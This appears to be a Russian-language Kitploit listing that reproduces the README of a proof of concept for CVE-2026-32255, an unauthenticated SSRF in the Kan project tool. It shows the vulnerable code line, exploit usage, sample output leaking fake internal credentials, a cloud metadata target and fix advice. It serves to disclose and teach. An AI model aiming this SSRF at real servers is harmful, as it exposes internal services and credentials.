Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/koadt/poc-cve-2026-32255
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming
GitHubkoadt/poc-cve-2026-32255

poc-cve-2026-32255

Этот репозиторий содержит доказательство концепции (POC) для CVE-2026-32255 — уязвимости подделки серверных запросов (SSRF) высокой степени серьезности в Kan, инструменте управления проектами с открытым исходным кодом.

РепозиторийСайт
236 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Kan SSRF через загрузку вложений (CVE-2026-32255) — Proof of Concept

Этот репозиторий содержит proof of concept (POC) для CVE-2026-32255 — уязвимости подделки серверных запросов (SSRF) высокого уровня серьезности в Kan, инструменте управления проектами с открытым исходным кодом.

Уязвимая конечная точка позволяет неаутентифицированным атакующим выполнять произвольные HTTP-запросы с сервера и читать полный ответ, что открывает доступ к внутренним сервисам и конечным точкам метаданных облака.

Содержание

  1. Детали уязвимости
  2. Запуск POC
  3. Использование эксплойт-скрипта
  4. Как исправить уязвимость
  5. Отказ от ответственности

Детали уязвимости

Информация о CVE

  • ID CVE: CVE-2026-32255
  • Затронутые версии: Kan <= 0.5.4
  • Исправленная версия: 0.5.5
  • Оценка CVSS: 8.6 (High)
  • Вектор CVSS: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
  • CWE: CWE-918 (Server-Side Request Forgery)

Описание

Файл apps/web/src/pages/api/download/attatchment.ts предоставляет конечную точку GET /api/download/attatchment, предназначенную для проксирования загрузки вложений из S3-хранилища. Конечная точка принимает управляемый пользователем параметр запроса url и передает его напрямую в fetch() на стороне сервера без какой-либо проверки или аутентификации:

root@kitploit:~
const upstream = await fetch(url); // no validation on `url`

Атакующий может указать любой URL, заставляя сервер выполнить HTTP-запрос к этому адресу и вернуть полное тело ответа клиенту. Это SSRF с полным чтением (не слепой), что означает возможность прочитать все содержимое ответа.

Воздействие

  • Доступ к внутренним сервисам, не доступным из интернета
  • Чтение конечных точек метаданных облака (например, http://169.254.169.254/ на AWS/GCP)
  • Сканирование портов внутренних сетей
  • Экфильтрация конфиденциальных данных из внутренних API

Ссылки

  • NVD — CVE-2026-32255
  • GitHub Security Advisory — GHSA-qrx8-9hc6-jvqg
  • Исправляющий коммит

Запуск POC

Предварительные требования

  • Docker и Docker Compose
  • Bash
  • curl

Шаг 1: Запуск уязвимого экземпляра Kan

Клонируйте и запустите Kan v0.5.4 (последняя уязвимая версия):

root@kitploit:~
git clone --branch v0.5.4 https://github.com/kanbn/kan.git
cd kan

Настройте необходимые переменные окружения:

root@kitploit:~
cat > .env <<'EOF'
NEXT_PUBLIC_BASE_URL=http://localhost:3000
BETTER_AUTH_SECRET=poc-secret-not-for-production-use
POSTGRES_URL=postgresql://kan:kan@localhost:5432/kan_db
POSTGRES_PASSWORD=kan
REDIS_URL=redis://localhost:6379
NEXT_PUBLIC_STORAGE_URL=http://localhost:9000
EOF

Примечание: Если вы получите ошибку о dokploy-network, удалите ссылки на dokploy-network из docker-compose.yml (строки 9, 130-131) и снова выполните docker compose up -d. Эта сеть не нужна локально.

Запустите контейнеры:

root@kitploit:~
docker compose up -d

Приложение должно быть доступно по адресу http://localhost:3000.

Шаг 2: Запуск имитируемого внутреннего сервиса

В отдельном терминале запустите включенный имитируемый внутренний сервис, который симулирует чувствительный внутренний API:

root@kitploit:~
python3 internal-service.py

Это запускает сервер на порту 8888, который возвращает поддельные учетные данные, имитируя сервис, который должен быть доступен только из внутренней сети. В реальном сценарии этот сервис был бы изолирован за межсетевым экраном и недоступен извне. SSRF позволяет атакующему получить к нему доступ через сервер.

Шаг 3: Запуск эксплойта

root@kitploit:~
chmod +x exploit.sh
./exploit.sh http://localhost:3000

Использование эксплойт-скрипта

Использование

root@kitploit:~
./exploit.sh <target-url> [internal-url]
  • <target-url>: Базовый URL экземпляра Kan (например, http://localhost:3000)
  • [internal-url]: Внутренний URL для получения через SSRF (необязательно, автоматически определяется по шлюзу Docker bridge)

Пример

root@kitploit:~
./exploit.sh http://localhost:3000
root@kitploit:~
=== CVE-2026-32255 - Kan SSRF via Attachment Download ===
Target: http://localhost:3000
Internal URL: http://172.17.0.1:8888

[*] Checking if endpoint is reachable...
[+] Endpoint is reachable (HTTP 400)

[*] Attempting SSRF to http://172.17.0.1:8888 ...
[+] VULNERABLE - Server fetched internal resource

Leaked content:
------------------------------------------------------------
{
  "service": "internal-config-api",
  "credentials": {
    "db_host": "10.0.0.5",
    "db_user": "admin",
    "db_password": "s3cret_passw0rd!",
    "api_key": "sk-internal-4f8a2b1c9d3e7f6a5b0c8d2e1f4a7b3c"
  }
}
------------------------------------------------------------

Как исправить уязвимость

Обновление Kan (рекомендуется)

Обновитесь до Kan v0.5.5 или новее, где параметр url проверяется на соответствие имени хоста настроенной конечной точки S3 перед проксированием запроса.

Обходной путь: блокировка на обратном прокси

Если вы не можете обновиться немедленно, заблокируйте внешний доступ к уязвимой конечной точке на уровне вашего обратного прокси.


Отказ от ответственности

Этот proof of concept предоставлен только для образовательных целей и авторизованного тестирования безопасности. Используйте этот инструмент только на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.

Автор не несет ответственности за любое неправомерное использование информации или инструментов, предоставленных в этом репозитории. Несанкционированный доступ к компьютерным системам является незаконным.


Обнаружено: kOaDT ([email protected])

Скачать инструмент